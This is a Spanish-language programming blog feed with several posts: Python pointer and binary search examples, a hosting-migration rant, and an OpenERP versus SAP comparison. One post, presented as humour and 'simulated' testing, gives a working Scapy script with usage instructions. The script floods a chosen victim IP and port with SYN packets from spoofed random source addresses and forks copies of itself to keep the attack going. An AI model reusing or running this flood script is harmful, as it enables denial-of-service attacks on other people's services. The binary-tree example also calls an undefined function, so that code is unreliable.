&lt;/pre&gt;
TACHAN!!! B apunta a la misma posición que A. De todas formas si ahora modificamos el valor de B el valor de A no varía. Para lograr simular un puntero de verdad. Tenemos que hacer el siguiente apaño.
&lt;br /&gt;
&lt;i&gt;TACHAN! B has the same position as A. But if we change B, A does not change.&amp;nbsp;To simulate this we have to do ...&lt;/i&gt;&lt;br /&gt;
&lt;pre class=&quot;brush:python&quot;&gt;class ref:
    def __init__(self, obj): self.obj = obj
    def get(self):    return self.obj
    def set(self, obj):      self.obj = obj

a = ref(1)
b = a
print a.get()  # 1
print b.get()  # 1

b.set(2)
print a.get()  # =&amp;gt; 2
print b.get()  # =&amp;gt; 2
&lt;/pre&gt;
happy coding ;)
&lt;/div&gt;
</content><link rel='replies' type='application/atom+xml' href='http://optimizarsinmas.blogspot.com/feeds/5192509796528961827/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://optimizarsinmas.blogspot.com/2013/10/punteros-en-python-pointers-in-python.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1317740083899097806/posts/default/5192509796528961827'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1317740083899097806/posts/default/5192509796528961827'/><link rel='alternate' type='text/html' href='http://optimizarsinmas.blogspot.com/2013/10/punteros-en-python-pointers-in-python.html' title='Punteros en Python (Pointers in Python)'/><author><name>Endika</name><uri>http://www.blogger.com/profile/14017255221236595320</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total><georss:featurename>Madrid, España</georss:featurename><georss:point>40.4167754 -3.7037901999999576</georss:point><georss:box>40.0300424 -4.3492371999999575 40.8035084 -3.0583431999999577</georss:box></entry><entry><id>tag:blogger.com,1999:blog-1317740083899097806.post-9213272562191171069</id><published>2013-10-14T13:15:00.000+02:00</published><updated>2013-10-14T13:15:01.033+02:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="binario"/><category scheme="http://www.blogger.com/atom/ns#" term="binary"/><category scheme="http://www.blogger.com/atom/ns#" term="binary search"/><category scheme="http://www.blogger.com/atom/ns#" term="busqueda"/><category scheme="http://www.blogger.com/atom/ns#" term="busqueda binaria"/><category scheme="http://www.blogger.com/atom/ns#" term="node"/><category scheme="http://www.blogger.com/atom/ns#" term="Python"/><category scheme="http://www.blogger.com/atom/ns#" term="recursive"/><category scheme="http://www.blogger.com/atom/ns#" term="RECURSIVIDAD"/><category scheme="http://www.blogger.com/atom/ns#" term="search"/><category scheme="http://www.blogger.com/atom/ns#" term="tree"/><category scheme="http://www.blogger.com/atom/ns#" term="árboles"/><title type='text'>Busquedas binarias en Python (Binary search in Python)</title><content type='html'>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;
Hoy os presento 3 sencillos casos de búsqueda binaria. Antes de usar este sencillo algoritmo necesitamos una lista ordenada. Mi primer ejemplo con un árbol.&lt;br /&gt;
&lt;i&gt;Today i present three cases of simple binary search. Before using this simple algorithm we need an ordered list. My first example with a tree.
&lt;/i&gt;&lt;br /&gt;
&lt;pre class=&quot;brush:python&quot;&gt;class Node:
    def __init__(self, val):
        self.l_child = None
        self.r_child = None
        self.data = val

def binary_insert(root, node):
    if root is None:
        root = node
    else:
        if root.data &amp;gt; node.data:
            if root.l_child == None:
                root.l_child = node
            else:
                binary_insert(root.l_child, node)
        else:
            if root.r_child == None:
                root.r_child = node
            else:
                binary_insert(root.r_child, node)

def searchNode(root,search):
    if not root:
        return        
    searchNode(root.r_child,search)
    if root == search:
        print(root.data)
    searchNode(root.l_child,search)

def resultUp(r,node):
    if not r:
        return
    print(r.data)
    if r == node:
        return
    resultUp(r.r_child,node) 

def resultPointToPoint(ini,fin):
    if not ini:
        return 
    if ini == fin:
        print(ini.data)
        return
    print(ini.data)
    resultPointToPoint(ini.r_child,fin)
    resultPointToPoint(ini.l_child,fin)
&lt;/pre&gt;
&lt;br /&gt;
Example:
&lt;br /&gt;
&lt;pre class=&quot;brush:python&quot;&gt;r = Node(0)
n1= Node(1)
n2= Node(2)
n3= Node(3)
n4= Node(4)
n5= Node(5)
n6= Node(6)
n7= Node(7)
n8= Node(8)

binary_insert(r,n1)
binary_insert(r,n2)
binary_insert(r,n3)
binary_insert(r,n4)
binary_insert(r,n5)
binary_insert(r,n6)
binary_insert(r,n7)
binary_insert(r,n8)


print(&quot;Search n1&quot;)
searchNode(r,n1)

print(&quot;n2 to n5&quot;)
searchPointToPoint(r,n2,n5)

print(&quot;n5 route to r&quot;)
resultUp(r,n5)&lt;/pre&gt;
&lt;br /&gt;
Este ejemplo es el método más complejo para implementarlo. Ahora os muestro otro caso de busqueda binaria más simplificada:&lt;br /&gt;
&lt;i&gt;This example is the most complex to implement. Now I show another case of more simplified binary search:&lt;/i&gt;
&lt;br /&gt;
&lt;pre class=&quot;brush:python&quot;&gt;import random

def binary_search(the_array, the_key, imin, imax):
    while imax &amp;gt;= imin:
        imid = int(imin + ((imax - imin) / 2))
        if the_array[imid] &amp;lt; the_key:
            imin = imid + 1
        elif the_array[imid] &amp;gt; the_key:
            imax = imid - 1
        else:
            return imid
    return None
&lt;/pre&gt;
&lt;br /&gt;
Example:
&lt;br /&gt;
&lt;pre class=&quot;brush:python&quot;&gt;print (binary_search(range(0,1000),21,0,1000))
&lt;/pre&gt;
&lt;br /&gt;
Por último el mismo caso que el anterior pero usando la recursividad:
&lt;br /&gt;
&lt;i&gt;Finally the same case as above but using recursion:&lt;/i&gt;
&lt;br /&gt;
&lt;pre class=&quot;brush:python&quot;&gt;import random

def binary_search_recur(the_array, the_key, imin, imax):
    if (imax &amp;lt; imin):
        return None
    else:
        imid = int(imin + ((imax - imin) / 2))
        if the_array[imid] &amp;gt; the_key:
            return binary_search_recur(the_array, the_key, imin, imid-1)
        elif the_array[imid] &amp;lt; the_key:
            return binary_search_recur(the_array, the_key, imid+1, imax)
        else:
            return imid
&lt;/pre&gt;
&lt;br /&gt;
Example:
&lt;br /&gt;
&lt;pre class=&quot;brush:python&quot;&gt;print (binary_search_recur(range(0,1000),21,0,1000))
&lt;/pre&gt;
&lt;br /&gt;
Y con estos sencillos ejemplos me despido hasta la siguiente entrada.&lt;br /&gt;
&lt;i&gt;And with these simple examples I say goodbye until the next entry.&lt;/i&gt;&lt;/div&gt;
</content><link rel='replies' type='application/atom+xml' href='http://optimizarsinmas.blogspot.com/feeds/9213272562191171069/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://optimizarsinmas.blogspot.com/2013/10/busquedas-binarias-en-python-binary.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1317740083899097806/posts/default/9213272562191171069'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1317740083899097806/posts/default/9213272562191171069'/><link rel='alternate' type='text/html' href='http://optimizarsinmas.blogspot.com/2013/10/busquedas-binarias-en-python-binary.html' title='Busquedas binarias en Python (Binary search in Python)'/><author><name>Endika</name><uri>http://www.blogger.com/profile/14017255221236595320</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total><georss:featurename>Madrid, España</georss:featurename><georss:point>40.4167754 -3.7037901999999576</georss:point><georss:box>40.0300424 -4.3492371999999575 40.8035084 -3.0583431999999577</georss:box></entry><entry><id>tag:blogger.com,1999:blog-1317740083899097806.post-2918710678616583697</id><published>2013-09-20T14:30:00.000+02:00</published><updated>2013-09-20T14:30:02.346+02:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="1and1"/><category scheme="http://www.blogger.com/atom/ns#" term="amazon aws"/><category scheme="http://www.blogger.com/atom/ns#" term="digitalocean"/><category scheme="http://www.blogger.com/atom/ns#" term="disco duro ssd"/><category scheme="http://www.blogger.com/atom/ns#" term="dominios"/><category scheme="http://www.blogger.com/atom/ns#" term="migrar"/><category scheme="http://www.blogger.com/atom/ns#" term="namecheap"/><category scheme="http://www.blogger.com/atom/ns#" term="servidores"/><category scheme="http://www.blogger.com/atom/ns#" term="ssd"/><title type='text'>bye bye 1and1. Hola DigitalOcean y Namecheap</title><content type='html'>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;http://www.the-best-web-hosting-service.com/blog/wp-content/uploads/2012/08/no1and1.png&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;br /&gt;&lt;/a&gt;&lt;a href=&quot;http://www.the-best-web-hosting-service.com/blog/wp-content/uploads/2012/08/no1and1.png&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;br /&gt;&lt;/a&gt;&lt;a href=&quot;http://www.the-best-web-hosting-service.com/blog/wp-content/uploads/2012/08/no1and1.png&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;br /&gt;&lt;/a&gt;&lt;a href=&quot;http://www.the-best-web-hosting-service.com/blog/wp-content/uploads/2012/08/no1and1.png&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;br /&gt;&lt;/a&gt;&lt;a href=&quot;http://www.the-best-web-hosting-service.com/blog/wp-content/uploads/2012/08/no1and1.png&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;br /&gt;&lt;/a&gt;&lt;a href=&quot;http://www.the-best-web-hosting-service.com/blog/wp-content/uploads/2012/08/no1and1.png&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;br /&gt;&lt;/a&gt;&lt;a href=&quot;http://www.the-best-web-hosting-service.com/blog/wp-content/uploads/2012/08/no1and1.png&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;br /&gt;&lt;/a&gt;&lt;a href=&quot;http://www.the-best-web-hosting-service.com/blog/wp-content/uploads/2012/08/no1and1.png&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;br /&gt;&lt;/a&gt;&lt;a href=&quot;http://www.the-best-web-hosting-service.com/blog/wp-content/uploads/2012/08/no1and1.png&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;200&quot; src=&quot;http://www.the-best-web-hosting-service.com/blog/wp-content/uploads/2012/08/no1and1.png&quot; width=&quot;200&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
El titulo lo dice todo. &lt;b&gt;¡Oficialmente dejo &lt;a href=&quot;http://1and1.es/&quot;&gt;1and1&lt;/a&gt;!&lt;/b&gt; El cambio no será de golpe, dejaré que finalice las suscripciones de mis productos así voy migrando todos los datos poco a poco y de forma ordenada. (la fecha limite 1/11/2013)&lt;/div&gt;
&lt;br /&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
No voy a entrar en mucho detalle pero ya tengo programado mi planing de migración. Está claro que el cambio es para mejor. Era cómodo tener un servicio que te hacia &quot;todo&quot; pero las limitaciones y prohibiciones de &lt;a href=&quot;http://1and1.es/&quot;&gt;1and1&lt;/a&gt;, en más de una ocasión me han provocado alguna riña con el servicio técnico. Por otro lado el servicio de atención al cliente no ha mejorado con los años. Sencillamente no cumple las expectativas esperadas. &lt;a href=&quot;http://1and1.es/&quot;&gt;1and1 &lt;/a&gt;presume de profesionalidad y que es un servicio de calidad y moderno. No voy a entrar en profesionalidad sólo comentaré &quot;calidad y moderno&quot;. Las políticas y restricciones de seguridad son muy puñeteras. Las he estado soportando porque pensaba que con el tiempo mejorarían y ampliarían horizontes.&lt;/div&gt;
&lt;br /&gt;
&lt;b&gt;&quot;Ofrecen un entorno estable&quot;&lt;/b&gt;&amp;nbsp;en varias ocasiones he llegado a estar semanas con todos mis servicios web caídos. Tampoco me dieron ninguna justificación ni información por su parte.&lt;br /&gt;
&lt;br /&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;b&gt;&quot;Mejoran y sacan ¡nuevos! productos&quot;&lt;/b&gt; para instalar ciertos frameworks he tenido que hacer MAGIA para que funcionen. Es más, yo desde que uso Symphony no he sido capaz de actualizar a la versión 2. Os podéis hacer una idea del problema que supone tener entornos completamente desactualizados. No me vale que me ofrecíais un servicio que no puedo tenerlo actualizado. En mi opinión mantener los servidores actualizados.&lt;/div&gt;
&lt;br /&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
Lo gracioso que si necesitas algún servicio o que te habiliten/actualicen alguna funcionalidad o paquete del cual no disponen en la tienda, no te mandan a la mierda, te ofrecen sus servidores dedicados,virtuales.... OOOO GRACIAS!!! y por que no actualizáis vosotros! que cuando sale un update de mysql o apache tenemos que esperar 5 años para poder disfrutar de ella.&lt;/div&gt;
&lt;br /&gt;
Después de este desahogo.&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;http://www.wired.com/wiredenterprise/wp-content/uploads/2013/04/digitalocean.png&quot; imageanchor=&quot;1&quot; style=&quot;clear: right; float: right; margin-bottom: 1em; margin-left: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;121&quot; src=&quot;http://www.wired.com/wiredenterprise/wp-content/uploads/2013/04/digitalocean.png&quot; width=&quot;200&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
Como ya he dicho antes, todos los datos los migraré a servidores o Droplets como lo llaman &lt;a href=&quot;http://digitalocean.com/&quot;&gt;Digital Ocean&lt;/a&gt;.&lt;span style=&quot;text-align: justify;&quot;&gt;&amp;nbsp;Lo descubrí gracias a un compañero y la verdad me ha sorprendido el precio de las máquinas, su calidad y la libertad para crearte tu entorno deseado. Por ahora lo veo un poco para desarrolladores con cierto nivel y conocimiento, o para empresas. Por otro lado se ve que van sacando opciones predefinidas para ampliar al público menos experimentado.&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;text-align: justify;&quot;&gt;&lt;br /&gt;&lt;/span&gt;
&lt;span style=&quot;text-align: justify;&quot;&gt;PEROOO... &lt;a href=&quot;http://aws.amazon.com/&quot;&gt;Amazon AWS&lt;/a&gt; hace algo parecido??? si... pero la factura a veces te asusta.&lt;/span&gt;&lt;br /&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;
Desde hace un tiempo ya tenia claro que algún día tenia que migrar y pasarme a un servicio mejor. Y en mi opinión &lt;a href=&quot;http://digitalocean.com/&quot;&gt;Digital Ocean&lt;/a&gt; supera con creces mis expectativas joder si es que ¡¡Usa discos duros SSD!! y el precio por hora está más que genial!!!&lt;br /&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
Muy bien, tengo el servidor y el espacio pero... y los dominios?? &lt;a href=&quot;http://namecheap.com/&quot;&gt;Namecheap &lt;/a&gt;sencillamente por unanimidad donde sino?&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;/div&gt;
</content><link rel='replies' type='application/atom+xml' href='http://optimizarsinmas.blogspot.com/feeds/2918710678616583697/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://optimizarsinmas.blogspot.com/2013/09/bye-bye-1and1-hola-digitalocean-y.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1317740083899097806/posts/default/2918710678616583697'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1317740083899097806/posts/default/2918710678616583697'/><link rel='alternate' type='text/html' href='http://optimizarsinmas.blogspot.com/2013/09/bye-bye-1and1-hola-digitalocean-y.html' title='bye bye 1and1. Hola DigitalOcean y Namecheap'/><author><name>Endika</name><uri>http://www.blogger.com/profile/14017255221236595320</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total><georss:featurename>Madrid, España</georss:featurename><georss:point>40.4167754 -3.7037901999999576</georss:point><georss:box>40.0300424 -4.3492371999999575 40.8035084 -3.0583431999999577</georss:box></entry><entry><id>tag:blogger.com,1999:blog-1317740083899097806.post-5732887706193736695</id><published>2013-08-21T10:00:00.000+02:00</published><updated>2013-08-21T10:00:10.410+02:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="DDoS"/><category scheme="http://www.blogger.com/atom/ns#" term="IP"/><category scheme="http://www.blogger.com/atom/ns#" term="Python"/><category scheme="http://www.blogger.com/atom/ns#" term="Scapy"/><title type='text'>De risas, con humor y Scapy (II)</title><content type='html'>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;
Bienvenidos a la segunda edición de HUMOR CON SCAPY!! hoy.... Simular una Botnet para lanzar un DDOS simulado.&lt;br /&gt;
&lt;br /&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
Como bien sabéis el objetivo de los DDOS es saturar un servicio y colapsarlo. Bien pues con la librería Scapy de Python generaremos un bucle de paquetes que van a ir dirigidos a una única dirección IP y puerto. Le añadiremos un mensaje algo como &quot;Egunon macarrones&quot; y le pondremos que la IP origen sea aleatoria para que no se vea reflejada nuestra dirección. Y listo!!&lt;/div&gt;
&lt;br /&gt;
&lt;pre class=&quot;brush:python&quot;&gt;#! /usr/bin/env python
import sys
import os
from scapy.all import *

victima=sys.argv[1]
puerto=sys.argv[2]
mensaje=sys.argv[3]
hilos=sys.argv[4]
print victima
print puerto
print mensaje
try:
        hilos=int(hilos)
except:
        hilos=0
print hilos

while hilos &amp;gt; 0:
        if os.fork() == 0:
                os.system(&quot;/root/simulaDDOS.py &quot;+str(victima)+&quot; &quot;+str(puerto)+&quot;&#39;&quot;+str(mensaje)+&quot;&#39; 0&quot;)
        hilos-=1

ddos=IP(src=RandIP(),dst=str(victima),id=1111,ttl=255)/fuzz(TCP(sport=RandShort(),dport=int(puerto),seq=12345,ack=1000,window=1000,flags=&quot;S&quot;))/str(mensaje)
ls(ddos)
srloop(ddos,inter=0.01,count=1000)
#Y para que sea infinito lo lanzamos otra vez
if os.fork() == 0:
        os.system(&quot;/root/simulaDDOS.py &quot;+str(victima)+&quot; &quot;+str(puerto)+&quot;&#39;&quot;+str(mensaje)+&quot;&#39; 0&quot;)
exit()
&lt;/pre&gt;
&lt;br /&gt;
La forma de usar es muy sencilla solo hay que indicar en el siguiente orden:&lt;br /&gt;
IP= dirección IP de la victima&lt;br /&gt;
PUERTO= servicio a atacar 80 el HTTP por ejemplo&lt;br /&gt;
&quot;MENSAJE&quot;= texto que se enviará junto con el paquete&lt;br /&gt;
HILOS= tiene que ser una cifra del 0 a N. El programa creará procesos similares para intensificar la simulación del ataque.&lt;br /&gt;
&lt;pre class=&quot;brush:python&quot;&gt;./simulaDDOS.py 192.168.1.100 80 &quot;Egunon macarrones&quot; 2
&lt;/pre&gt;
Espero que os sirva como prueba para hacer alguna prueba de estrés en alguna máquina.&lt;br /&gt;
&lt;br /&gt;
Un saludo.&lt;/div&gt;
</content><link rel='replies' type='application/atom+xml' href='http://optimizarsinmas.blogspot.com/feeds/5732887706193736695/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://optimizarsinmas.blogspot.com/2013/08/de-risas-con-humor-y-scapy-ii.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1317740083899097806/posts/default/5732887706193736695'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1317740083899097806/posts/default/5732887706193736695'/><link rel='alternate' type='text/html' href='http://optimizarsinmas.blogspot.com/2013/08/de-risas-con-humor-y-scapy-ii.html' title='De risas, con humor y Scapy (II)'/><author><name>Endika</name><uri>http://www.blogger.com/profile/14017255221236595320</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total><georss:featurename>Madrid, España</georss:featurename><georss:point>40.4167754 -3.7037901999999576</georss:point><georss:box>40.0300424 -4.3492371999999575 40.8035084 -3.0583431999999577</georss:box></entry><entry><id>tag:blogger.com,1999:blog-1317740083899097806.post-998597418744768850</id><published>2013-08-20T10:30:00.000+02:00</published><updated>2013-08-26T10:08:40.044+02:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="ABAP"/><category scheme="http://www.blogger.com/atom/ns#" term="OpenERP"/><category scheme="http://www.blogger.com/atom/ns#" term="Python"/><category scheme="http://www.blogger.com/atom/ns#" term="SAP"/><title type='text'>OpenERP vs SAP: entorno</title><content type='html'>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
Mi nueva sección y creo que está va ser la más&amp;nbsp;polémica. Voy a enfrentar OpenERP contra SAP. Sacaré todas mis malas, buenas, impresiones... de estos dos entornos.&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;b&gt;Resumen rápido!!!&lt;/b&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
Uno de código abierto OpenERP y SAP es privativo. Para los de la ESO uno es &quot;gratis&quot; y el otro de pago. Están orientados para que se usen en entornos empresariales, y facilitar distintos aspectos como el sistema de ventas, finanzas...&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
Comenzamos... bueno empezaré diciendo que a día de hoy no he conocido nada que no se pueda hacer en los dos entornos. Con OpenERP se crean&amp;nbsp;módulos&amp;nbsp;en Python y con SAP compras los&amp;nbsp;módulos&amp;nbsp;que necesitas para crear aplicaciones en el lenguaje ABAP por lo general.&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
-OpenERP al ser Python puedes calzarlo con cualquier otro entorno ya que es un lenguaje multiplatafrorma.&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
-SAP no tiene esa libertad de calzarlo en cualquier entorno, puedes comprar licencia para la SDK y conectarlo con Java y .NET por suerte Java tiene multitud de&amp;nbsp;librerías&amp;nbsp;con las que puedes comunicarlo con otros entornos.&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
Así que se podría decir que en este primer tiempo quedan en empate. Un poco justo por parte de SAP ya que tiene que hacer escala pero bueno.&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
Sobre el tema del soporte sin duda SAP lo tiene 24horas. OpenERP&amp;nbsp;también&amp;nbsp;puedes contratarlo y listo y si no quieres gastar un duro hay comunidades dispuestas a echarte una mano. Pero eso si... Ninguno de los dos soportes cubre modificaciones de métodos, funciones.. que pertenezcan al&amp;nbsp;núcleo&amp;nbsp;del software. Vamos una regla de oro &quot;Ni se os ocurra&amp;nbsp;modificar&amp;nbsp;nada que no hayas creado tu, sin permiso.&quot; Es posible que pierdas en el caso de haberlo pagado el soporte o es posible que el código que has copiado de internet que modificaba partes el núcleo no era tan bueno como decían.&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
Documentación hay el minipunto está a favor y sin duda de OpenERP. La ayuda en SAP es toda en ingles, los mejores foros de ayuda y sitios es todo en ingles. Si no ponemos el idioma como&amp;nbsp;impedimento, decir que la ayuda escasea mucho, usar el&amp;nbsp;clásico&lt;b&gt;&amp;nbsp;F1&lt;/b&gt; no está mal y en muchas ocasiones es lo mejor que te puedes encontrar. En internet hay poco y aun peor si no sabes buscar muy concretamente lo que necesitas.&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
OpenERP tienes de todo, ejemplos comunidades,&amp;nbsp;módulos&amp;nbsp;publicados por desarrolladores. Y todo gratis. Bueno para no pillarme la mano diré que en gran parte todo gratuito y al alcance de cualquiera.&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
A la hora de desarrollar ya os adelanto que el minipunto va para OpenERP de nuevo. Eclipse, Netbeans e incluso cualquier editor de texto. Puede ser usado para desarrollar un módulo en OpenERP.&amp;nbsp;También&amp;nbsp;decir que si editas con un entorno preparado como puede ser Eclipse tienes tus ayudas de código y otras ventajas. Vamos quiero decir que puedes elegir el entorno que cada desarrollador prefiera. La&amp;nbsp;estructura del proyecto es mediante directorios y ficheros que pueden ser abiertos y editados con cualquier editor.&amp;nbsp;Es muy manejable.&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
SAP tiene su propio editor, muy profesional y completo. Pero solo hay ese. Es más, en&amp;nbsp;transacciones&amp;nbsp;que no han sido mejoradas el editor es muy primitivo y no tan completo. No tienes esa facilidad de poder manejar los ficheros del proyecto a tu antojo. Simplemente por que el desarrollador no tiene acceso a los ficheros o a la fuente de donde se almacena. Bueno si te puedes copiar el codigo a tu fichero de texto, pero ya me&amp;nbsp;meteré&amp;nbsp;con ello más adelante que con copiar el código no es suficiente.&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
OpenERP ya acumula dos minipuntos!! 1 - 0 a favor.&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
Ya que he sacado el tema de los ficheros hay el minipunto es para SAP. Si es cierto eso de obligarnos a todos los desarrolladores a tener el mismo acceso a los ficheros. Es mejor, así nadie tiene una copia del fichero que otro no tiene, no hay lineas de código que uno ve pero el otro no... Si con OpenERP puedes usar GIT , SVN o cualquier otro pero por mucho COMMIT que hagas si no hay un PUSH. Nadie ve los cambios, y por lo tanto luego&amp;nbsp;vienen&amp;nbsp;las sorpresas. Por esa parte en mi opinión SAP gana.&lt;br /&gt;
&lt;br /&gt;
Bueno, creo que por hoy es suficiente. Sobre los entornos no se me ocurre que más criticar... ya se me ocurrirá algo. De todas formas aun queda mucho que hablar. Os adelanto unos apartados (máquinas, diseño, calidad/precio, resultado final)&lt;br /&gt;
&lt;br /&gt;
MARCADOR: &amp;nbsp;OpenERP 1 &amp;nbsp; - &amp;nbsp; SAP 0.5&lt;/div&gt;
&lt;/div&gt;
</content><link rel='replies' type='application/atom+xml' href='http://optimizarsinmas.blogspot.com/feeds/998597418744768850/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://optimizarsinmas.blogspot.com/2013/08/openerp-vs-sap-entorno.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1317740083899097806/posts/default/998597418744768850'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1317740083899097806/posts/default/998597418744768850'/><link rel='alternate' type='text/html' href='http://optimizarsinmas.blogspot.com/2013/08/openerp-vs-sap-entorno.html' title='OpenERP vs SAP: entorno'/><author><name>Endika</name><uri>http://www.blogger.com/profile/14017255221236595320</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total><georss:featurename>Madrid, España</georss:featurename><georss:point>40.4167754 -3.7037901999999576</georss:point><georss:box>40.0300519 -4.3492371999999575 40.8034989 -3.0583431999999577</georss:box></entry><entry><id>tag:blogger.com,1999:blog-1317740083899097806.post-6321592311842375088</id><published>2013-08-19T14:00:00.000+02:00</published><updated>2013-08-19T14:00:05.231+02:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="DHCP"/><category scheme="http://www.blogger.com/atom/ns#" term="DISCOVER"/><category scheme="http://www.blogger.com/atom/ns#" term="mac"/><category scheme="http://www.blogger.com/atom/ns#" term="Python"/><category scheme="http://www.blogger.com/atom/ns#" term="Scapy"/><title type='text'>De risas, con humor y Scapy</title><content type='html'>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
Después de mucho tiempo vuelvo a escribir. Para comenzar con algo que considero interesante abro un apartado llamado &lt;b&gt;&quot;De risas, con humor y Scapy&quot;&lt;/b&gt; será un apartado pequeñito ya que pondré unos pocos script &quot;graciosetes&quot;. Comenzamos!!!!&lt;/div&gt;
